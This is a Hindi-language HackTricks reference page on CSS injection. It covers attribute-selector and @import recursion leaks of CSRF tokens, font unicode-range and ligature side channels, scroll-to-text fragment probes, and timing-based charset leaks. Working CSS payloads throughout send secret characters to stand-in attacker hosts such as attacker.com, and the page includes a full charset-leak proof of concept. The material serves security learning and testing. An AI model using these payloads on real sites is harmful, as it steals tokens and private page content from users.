CSS Injection

Reading time: 24 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

CSS Injection

Attribute Selector

CSS चयनकर्ता input तत्व के name और value विशेषताओं के मानों से मेल खाने के लिए बनाए जाते हैं। यदि इनपुट तत्व की मान विशेषता किसी विशेष वर्ण से शुरू होती है, तो एक पूर्वनिर्धारित बाहरी संसाधन लोड किया जाता है:

css
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}

हालांकि, इस दृष्टिकोण को छिपे हुए इनपुट तत्वों (type="hidden") के साथ काम करते समय एक सीमा का सामना करना पड़ता है क्योंकि छिपे हुए तत्व पृष्ठभूमियों को लोड नहीं करते हैं।

छिपे हुए तत्वों के लिए बायपास

इस सीमा को पार करने के लिए, आप ~ सामान्य भाई संयोजक का उपयोग करके एक बाद के भाई तत्व को लक्षित कर सकते हैं। CSS नियम तब सभी भाई तत्वों पर लागू होता है जो छिपे हुए इनपुट तत्व के बाद आते हैं, जिससे पृष्ठभूमि छवि लोड होती है:

css
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

एक व्यावहारिक उदाहरण इस तकनीक का शोषण करने का प्रदान किए गए कोड स्निपेट में विस्तृत है। आप इसे यहाँ देख सकते हैं।

CSS इंजेक्शन के लिए पूर्वापेक्षाएँ

CSS इंजेक्शन तकनीक प्रभावी होने के लिए, कुछ शर्तें पूरी होनी चाहिए:

  1. पेलोड लंबाई: CSS इंजेक्शन वेक्टर को तैयार किए गए चयनकर्ताओं को समायोजित करने के लिए पर्याप्त लंबे पेलोड का समर्थन करना चाहिए।
  2. CSS पुनर्मूल्यांकन: आपको पृष्ठ को फ्रेम करने की क्षमता होनी चाहिए, जो नए उत्पन्न पेलोड के साथ CSS के पुनर्मूल्यांकन को ट्रिगर करने के लिए आवश्यक है।
  3. बाहरी संसाधन: यह तकनीक बाहरी होस्ट किए गए चित्रों का उपयोग करने की क्षमता मानती है। यह साइट की सामग्री सुरक्षा नीति (CSP) द्वारा प्रतिबंधित हो सकता है।

ब्लाइंड एट्रिब्यूट सेलेक्टर

जैसा कि इस पोस्ट में समझाया गया है, यह संभव है कि :has और :not चयनकर्ताओं को मिलाकर सामग्री की पहचान की जा सके, यहां तक कि ब्लाइंड तत्वों से भी। यह तब बहुत उपयोगी होता है जब आपको यह नहीं पता होता कि CSS इंजेक्शन लोड करने वाले वेब पृष्ठ के अंदर क्या है।
यह चयनकर्ताओं का उपयोग करके समान प्रकार के कई ब्लॉकों से जानकारी निकालना भी संभव है जैसे कि:

html
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />

इसका संयोजन निम्नलिखित @import तकनीक के साथ करने पर, यह संभव है कि CSS इंजेक्शन से अंधे पृष्ठों से बहुत सारी जानकारी को एक्सफिल्ट्रेट किया जा सके blind-css-exfiltration.

@import

पिछली तकनीक में कुछ कमियाँ हैं, आवश्यकताओं की जांच करें। आपको या तो शिकार पर कई लिंक भेजने में सक्षम होना चाहिए, या आपको CSS इंजेक्शन संवेदनशील पृष्ठ को iframe करने में सक्षम होना चाहिए

हालांकि, एक और चतुर तकनीक है जो CSS @import का उपयोग करके तकनीक की गुणवत्ता में सुधार करती है।

यह पहली बार Pepe Vila द्वारा दिखाया गया था और यह इस प्रकार काम करता है:

एक ही पृष्ठ को बार-बार विभिन्न पेलोड के साथ लोड करने के बजाय (जैसे पिछले में), हम पृष्ठ को केवल एक बार और केवल हमलावर के सर्वर के लिए एक आयात के साथ लोड करने जा रहे हैं (यह शिकार को भेजने के लिए पेलोड है):

css
@import url("//attacker.com:5001/start?");
  1. आयात हमलावरों से कुछ CSS स्क्रिप्ट प्राप्त करने वाला है और ब्राउज़र इसे लोड करेगा
  2. CSS स्क्रिप्ट का पहला भाग जो हमलावर भेजेगा, वह है फिर से हमलावर के सर्वर के लिए एक और @import
  3. हमलावर का सर्वर अभी इस अनुरोध का उत्तर नहीं देगा, क्योंकि हम कुछ अक्षरों को लीक करना चाहते हैं और फिर इस आयात का उत्तर लीक करने के लिए पेलोड के साथ देना चाहते हैं।
  4. पेलोड का दूसरा और बड़ा भाग एक एट्रिब्यूट सेलेक्टर लीक पेलोड होगा।
  5. यह हमलावर के सर्वर को गुप्त का पहला और अंतिम अक्षर भेजेगा।
  6. एक बार जब हमलावर के सर्वर ने गुप्त का पहला और अंतिम अक्षर प्राप्त कर लिया, तो यह चरण 2 में अनुरोधित आयात का उत्तर देगा
  7. उत्तर चरण 2, 3 और 4 के समान होगा, लेकिन इस बार यह गुप्त का दूसरा अक्षर और फिर अंतिम से पहले का अक्षर खोजने की कोशिश करेगा

हमलावर इस लूप का पालन करेगा जब तक कि वह पूरी तरह से गुप्त को लीक नहीं कर लेता

आप मूल Pepe Vila का कोड इस परिष्कृत करने के लिए यहाँ पा सकते हैं या आप लगभग समान कोड लेकिन टिप्पणी के साथ यहाँ पा सकते हैं

note

स्क्रिप्ट हर बार 2 अक्षरों को खोजने की कोशिश करेगी (शुरुआत से और अंत से) क्योंकि एट्रिब्यूट सेलेक्टर चीजें करने की अनुमति देता है जैसे:

/* value^=  मान के प्रारंभ से मेल खाने के लिए */
input[value^="0"] {
  --s0: url(http://localhost:5001/leak?pre=0);
}

/* value$=  मान के अंत से मेल खाने के लिए */
input[value$="f"] {
  --e0: url(http://localhost:5001/leak?post=f);
}

यह स्क्रिप्ट को गुप्त को तेजी से लीक करने की अनुमति देता है।

warning

कभी-कभी स्क्रिप्ट सही ढंग से पहचान नहीं पाती है कि खोजा गया उपसर्ग + प्रत्यय पहले से ही पूरा ध्वज है और यह आगे (उपसर्ग में) और पीछे (प्रत्यय में) जारी रखेगी और किसी बिंदु पर यह लटक जाएगी।
चिंता न करें, बस आउटपुट की जांच करें क्योंकि आप वहाँ ध्वज देख सकते हैं

अन्य सेलेक्टर्स

CSS सेलेक्टर्स के साथ DOM भागों तक पहुँचने के अन्य तरीके:

  • .class-to-search:nth-child(2): यह DOM में "class-to-search" वर्ग के साथ दूसरे आइटम को खोजेगा।
  • :empty सेलेक्टर: उदाहरण के लिए इस लेख में:
css
[role^="img"][aria-label="1"]:empty {
background-image: url("YOUR_SERVER_URL?1");
}

संदर्भ: CSS आधारित हमला: @font-face के unicode-range का दुरुपयोग, त्रुटि-आधारित XS-Search PoC @terjanq द्वारा

कुल मिलाकर इरादा है एक नियंत्रित एंडपॉइंट से एक कस्टम फ़ॉन्ट का उपयोग करना और सुनिश्चित करना कि पाठ (इस मामले में, 'A') केवल तभी इस फ़ॉन्ट के साथ प्रदर्शित होता है जब निर्दिष्ट संसाधन (favicon.ico) लोड नहीं किया जा सकता

html
<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}

#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. कस्टम फ़ॉन्ट का उपयोग:
  • एक कस्टम फ़ॉन्ट को <head> सेक्शन में <style> टैग के भीतर @font-face नियम का उपयोग करके परिभाषित किया गया है।
  • फ़ॉन्ट का नाम poc है और इसे एक बाहरी एंडपॉइंट (http://attacker.com/?leak) से लाया जाता है।
  • unicode-range प्रॉपर्टी को U+0041 पर सेट किया गया है, जो विशेष यूनिकोड कैरेक्टर 'A' को लक्षित करता है।
  1. फॉलबैक टेक्स्ट के साथ ऑब्जेक्ट तत्व:
  • <body> सेक्शन में id="poc0" के साथ एक <object> तत्व बनाया गया है। यह तत्व http://192.168.0.1/favicon.ico से एक संसाधन लोड करने की कोशिश करता है।
  • इस तत्व के लिए font-family को <style> सेक्शन में परिभाषित 'poc' पर सेट किया गया है।
  • यदि संसाधन (favicon.ico) लोड करने में विफल रहता है, तो <object> टैग के भीतर फॉलबैक सामग्री (अक्षर 'A') प्रदर्शित होती है।
  • यदि बाहरी संसाधन लोड नहीं किया जा सकता है, तो फॉलबैक सामग्री ('A') को कस्टम फ़ॉन्ट poc का उपयोग करके प्रदर्शित किया जाएगा।

स्क्रॉल-टू-टेक्स्ट फ़्रैगमेंट की स्टाइलिंग

:target प्सेउडो-क्लास का उपयोग एक तत्व का चयन करने के लिए किया जाता है जिसे URL फ़्रैगमेंट द्वारा लक्षित किया गया है, जैसा कि CSS Selectors Level 4 specification में निर्दिष्ट किया गया है। यह समझना महत्वपूर्ण है कि ::target-text किसी भी तत्व से मेल नहीं खाता जब तक कि टेक्स्ट को स्पष्ट रूप से फ़्रैगमेंट द्वारा लक्षित नहीं किया गया हो।

एक सुरक्षा चिंता तब उत्पन्न होती है जब हमलावर Scroll-to-text फ़्रैगमेंट फ़ीचर का लाभ उठाते हैं, जिससे उन्हें HTML इंजेक्शन के माध्यम से अपने सर्वर से संसाधन लोड करके किसी वेबपेज पर विशिष्ट टेक्स्ट की उपस्थिति की पुष्टि करने की अनुमति मिलती है। यह विधि इस तरह के CSS नियम को इंजेक्ट करने में शामिल है:

css
:target::before {
content: url(target.png);
}

ऐसे परिदृश्यों में, यदि पृष्ठ पर "Administrator" पाठ मौजूद है, तो संसाधन target.png सर्वर से अनुरोध किया जाता है, जो पाठ की उपस्थिति को इंगित करता है। इस हमले का एक उदाहरण एक विशेष रूप से तैयार किए गए URL के माध्यम से निष्पादित किया जा सकता है जो इंजेक्टेड CSS को Scroll-to-text फ़्रैगमेंट के साथ एम्बेड करता है:

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

यहाँ, हमला HTML इंजेक्शन का उपयोग करके CSS कोड को संचारित करने के लिए "Administrator" विशेष पाठ को लक्षित करता है, Scroll-to-text fragment (#:~:text=Administrator) के माध्यम से। यदि पाठ पाया जाता है, तो निर्दिष्ट संसाधन लोड होता है, अनजाने में हमलावर को इसकी उपस्थिति का संकेत देता है।

निवारण के लिए, निम्नलिखित बिंदुओं पर ध्यान दिया जाना चाहिए:

  1. संकीर्ण STTF मिलान: Scroll-to-text Fragment (STTF) केवल शब्दों या वाक्यों से मेल खाने के लिए डिज़ाइन किया गया है, जिससे यह मनमाने रहस्यों या टोकनों को लीक करने की क्षमता को सीमित करता है।
  2. शीर्ष-स्तरीय ब्राउज़िंग संदर्भों तक सीमित: STTF केवल शीर्ष-स्तरीय ब्राउज़िंग संदर्भों में कार्य करता है और iframes के भीतर कार्य नहीं करता, जिससे किसी भी शोषण के प्रयास को उपयोगकर्ता के लिए अधिक ध्यान देने योग्य बना देता है।
  3. उपयोगकर्ता सक्रियण की आवश्यकता: STTF को कार्य करने के लिए एक उपयोगकर्ता-क्रियान्वयन इशारा की आवश्यकता होती है, जिसका अर्थ है कि शोषण केवल उपयोगकर्ता-प्रेरित नेविगेशन के माध्यम से संभव है। यह आवश्यकता हमलों के स्वचालित होने के जोखिम को काफी कम कर देती है बिना उपयोगकर्ता की बातचीत के। फिर भी, ब्लॉग पोस्ट के लेखक विशिष्ट स्थितियों और बायपास का उल्लेख करते हैं (जैसे, सामाजिक इंजीनियरिंग, प्रचलित ब्राउज़र एक्सटेंशन के साथ बातचीत) जो हमले के स्वचालन को आसान बना सकते हैं।

इन तंत्रों और संभावित कमजोरियों के प्रति जागरूकता वेब सुरक्षा बनाए रखने और ऐसे शोषणकारी तकनीकों के खिलाफ सुरक्षा के लिए कुंजी है।

अधिक जानकारी के लिए मूल रिपोर्ट देखें: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

आप इस तकनीक का उपयोग करके एक CTF के लिए शोषण यहाँ देख सकते हैं

@font-face / unicode-range

आप विशिष्ट unicode मानों के लिए बाहरी फ़ॉन्ट निर्दिष्ट कर सकते हैं जो केवल तब एकत्रित किए जाएंगे जब वे unicode मान पृष्ठ में मौजूद हों। उदाहरण के लिए:

html
<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>

<p id="sensitive-information">AB</p>
htm

जब आप इस पृष्ठ तक पहुँचते हैं, तो Chrome और Firefox "?A" और "?B" को लाते हैं क्योंकि संवेदनशील-जानकारी के टेक्स्ट नोड में "A" और "B" वर्ण होते हैं। लेकिन Chrome और Firefox "?C" को नहीं लाते हैं क्योंकि इसमें "C" नहीं है। इसका मतलब है कि हम "A" और "B" को पढ़ने में सक्षम रहे हैं।

टेक्स्ट नोड एक्सफिल्ट्रेशन (I): लिगेचर्स

संदर्भ: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację

विवेचित तकनीक में एक नोड से टेक्स्ट को निकालने के लिए फ़ॉन्ट लिगेचर्स का उपयोग करना और चौड़ाई में परिवर्तनों की निगरानी करना शामिल है। प्रक्रिया में कई चरण शामिल हैं:

  1. कस्टम फ़ॉन्ट्स का निर्माण:
  • SVG फ़ॉन्ट्स को ऐसे ग्लिफ़ के साथ तैयार किया जाता है जिसमें horiz-adv-x विशेषता होती है, जो दो वर्णों के अनुक्रम का प्रतिनिधित्व करने वाले ग्लिफ़ के लिए बड़ी चौड़ाई सेट करती है।
  • उदाहरण SVG ग्लिफ़: <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>, जहाँ "XY" एक दो वर्णों के अनुक्रम को दर्शाता है।
  • इन फ़ॉन्ट्स को फिर fontforge का उपयोग करके woff प्रारूप में परिवर्तित किया जाता है।
  1. चौड़ाई परिवर्तनों का पता लगाना:
  • CSS का उपयोग यह सुनिश्चित करने के लिए किया जाता है कि टेक्स्ट लपेटा न जाए (white-space: nowrap) और स्क्रॉलबार शैली को अनुकूलित किया जाए।
  • एक विशिष्ट लिगेचर, और इसलिए एक विशिष्ट वर्ण अनुक्रम, टेक्स्ट में मौजूद होने का संकेत (oracle) देने के लिए एक अलग रूप से स्टाइल किया गया क्षैतिज स्क्रॉलबार प्रकट होता है।
  • शामिल CSS:
css
body {
white-space: nowrap;
}
body::-webkit-scrollbar {
background: blue;
}
body::-webkit-scrollbar:horizontal {
background: url(http://attacker.com/?leak);
}
  1. शोषण प्रक्रिया:
  • चरण 1: बड़े चौड़ाई वाले वर्णों के जोड़ों के लिए फ़ॉन्ट बनाए जाते हैं।
  • चरण 2: जब बड़े चौड़ाई का ग्लिफ़ (एक वर्ण जोड़ी के लिए लिगेचर) प्रस्तुत किया जाता है, तो यह संकेत देने के लिए स्क्रॉलबार-आधारित चाल का उपयोग किया जाता है कि वर्ण अनुक्रम मौजूद है।
  • चरण 3: एक लिगेचर का पता लगाने पर, तीन-वर्ण अनुक्रम का प्रतिनिधित्व करने वाले नए ग्लिफ़ बनाए जाते हैं, जिसमें पता लगाए गए जोड़े को शामिल किया जाता है और एक पूर्ववर्ती या उत्तरवर्ती वर्ण जोड़ा जाता है।
  • चरण 4: तीन-वर्ण लिगेचर का पता लगाया जाता है।
  • चरण 5: प्रक्रिया दोहराई जाती है, धीरे-धीरे पूरे टेक्स्ट को प्रकट करती है।
  1. अनुकूलन:
  • वर्तमान प्रारंभिककरण विधि <meta refresh=... का उपयोग करना अनुकूल नहीं है।
  • एक अधिक कुशल दृष्टिकोण CSS @import चाल को शामिल कर सकता है, जो शोषण के प्रदर्शन को बढ़ाता है।

टेक्स्ट नोड एक्सफिल्ट्रेशन (II): डिफ़ॉल्ट फ़ॉन्ट के साथ charset लीक करना (बाहरी संपत्तियों की आवश्यकता नहीं)

संदर्भ: PoC using Comic Sans by @Cgvwzq & @Terjanq

यह चाल इस Slackers थ्रेड में जारी की गई थी। टेक्स्ट नोड में उपयोग किया गया charset ब्राउज़र में स्थापित डिफ़ॉल्ट फ़ॉन्ट्स का उपयोग करके लीक किया जा सकता है: बाहरी -या कस्टम- फ़ॉन्ट्स की आवश्यकता नहीं है।

यह अवधारणा एक एनीमेशन का उपयोग करके एक div की चौड़ाई को क्रमिक रूप से बढ़ाने के चारों ओर घूमती है, जिससे एक समय में एक वर्ण 'सफिक्स' भाग से 'प्रिफिक्स' भाग में संक्रमण कर सकता है। यह प्रक्रिया टेक्स्ट को दो भागों में विभाजित करती है:

  1. प्रिफिक्स: प्रारंभिक पंक्ति।
  2. सफिक्स: अगली पंक्ति(याँ)।

वर्णों के संक्रमण चरण इस प्रकार दिखाई देंगे:

C
ADB

CA
DB

CAD
B

CADB

इस संक्रमण के दौरान, unicode-range ट्रिक का उपयोग प्रत्येक नए वर्ण की पहचान करने के लिए किया जाता है जब वह प्रिफिक्स में शामिल होता है। यह Comic Sans फ़ॉन्ट को स्विच करके प्राप्त किया जाता है, जो डिफ़ॉल्ट फ़ॉन्ट की तुलना में उल्लेखनीय रूप से ऊँचा होता है, जिससे एक ऊर्ध्वाधर स्क्रॉलबार सक्रिय होता है। इस स्क्रॉलबार की उपस्थिति अप्रत्यक्ष रूप से प्रिफिक्स में एक नए वर्ण की उपस्थिति को प्रकट करती है।

हालांकि यह विधि अद्वितीय वर्णों का पता लगाने की अनुमति देती है जब वे प्रकट होते हैं, यह यह निर्दिष्ट नहीं करती है कि कौन सा वर्ण दोहराया गया है, केवल यह कि एक पुनरावृत्ति हुई है।

note

मूल रूप से, unicode-range का उपयोग एक वर्ण का पता लगाने के लिए किया जाता है, लेकिन चूंकि हम एक बाहरी फ़ॉन्ट लोड नहीं करना चाहते हैं, हमें एक और तरीका खोजना होगा।
जब वर्ण पाया जाता है, तो इसे पूर्व-स्थापित Comic Sans फ़ॉन्ट दिया जाता है, जो वर्ण को बड़ा बनाता है और स्क्रॉल बार को सक्रिय करता है जो पाए गए वर्ण को लीक करेगा।

PoC से निकाला गया कोड देखें:

css
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}

div::-webkit-scrollbar {
background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}

Text node exfiltration (III): charset को छिपाने वाले तत्वों के साथ डिफ़ॉल्ट फ़ॉन्ट द्वारा लीक करना (बाहरी संपत्तियों की आवश्यकता नहीं)

Reference: This is mentioned as an unsuccessful solution in this writeup

यह मामला पिछले मामले के बहुत समान है, हालाँकि, इस मामले में विशेष chars को अन्य की तुलना में बड़ा बनाना कुछ छिपाने के लिए है जैसे कि बटन जिसे बॉट द्वारा दबाया नहीं जाना चाहिए या एक छवि जो लोड नहीं होगी। इसलिए हम क्रिया (या क्रिया की कमी) को माप सकते हैं और जान सकते हैं कि क्या पाठ के अंदर एक विशेष char मौजूद है।

Text node exfiltration (III): cache timing द्वारा charset लीक करना (बाहरी संपत्तियों की आवश्यकता नहीं)

Reference: This is mentioned as an unsuccessful solution in this writeup

इस मामले में, हम यह लीक करने की कोशिश कर सकते हैं कि क्या एक char पाठ में है, उसी मूल से एक नकली फ़ॉन्ट लोड करके:

css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

यदि कोई मेल है, तो फॉन्ट /static/bootstrap.min.css?q=1 से लोड होगा। हालांकि यह सफलतापूर्वक लोड नहीं होगा, ब्राउज़र इसे कैश करेगा, और यदि कैश नहीं है, तो एक 304 नॉट मॉडिफाइड तंत्र है, इसलिए प्रतिक्रिया अन्य चीजों की तुलना में तेज़ होनी चाहिए

हालांकि, यदि कैश की गई प्रतिक्रिया और गैर-कैश की गई प्रतिक्रिया के बीच का समय अंतर पर्याप्त बड़ा नहीं है, तो यह उपयोगी नहीं होगा। उदाहरण के लिए, लेखक ने उल्लेख किया: हालांकि, परीक्षण के बाद, मैंने पाया कि पहली समस्या यह है कि गति में ज्यादा अंतर नहीं है, और दूसरी समस्या यह है कि बॉट disk-cache-size=1 ध्वज का उपयोग करता है, जो वास्तव में विचारशील है।

टेक्स्ट नोड एक्सफिल्ट्रेशन (III): स्थानीय "फॉन्ट" के सैकड़ों लोडिंग के समय द्वारा charset लीक करना (बाहरी संपत्तियों की आवश्यकता नहीं)

संदर्भ: इसे इस लेख में एक असफल समाधान के रूप में उल्लेख किया गया है

इस मामले में आप संकेत दे सकते हैं CSS को एक ही मूल से सैकड़ों नकली फॉन्ट लोड करने के लिए जब एक मेल होता है। इस तरह आप समय माप सकते हैं और पता लगा सकते हैं कि कोई वर्ण प्रकट होता है या नहीं, जैसे:

css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

और बॉट का कोड इस तरह दिखता है:

python
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

तो, यदि फ़ॉन्ट मेल नहीं खाता है, तो बॉट पर जाने पर प्रतिक्रिया समय लगभग 30 सेकंड होने की उम्मीद है। हालाँकि, यदि फ़ॉन्ट मेल खाता है, तो फ़ॉन्ट प्राप्त करने के लिए कई अनुरोध भेजे जाएंगे, जिससे नेटवर्क में निरंतर गतिविधि होगी। परिणामस्वरूप, रोकने की स्थिति को संतुष्ट करने और प्रतिक्रिया प्राप्त करने में अधिक समय लगेगा। इसलिए, प्रतिक्रिया समय का उपयोग यह निर्धारित करने के लिए एक संकेतक के रूप में किया जा सकता है कि क्या फ़ॉन्ट मेल खाता है।

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें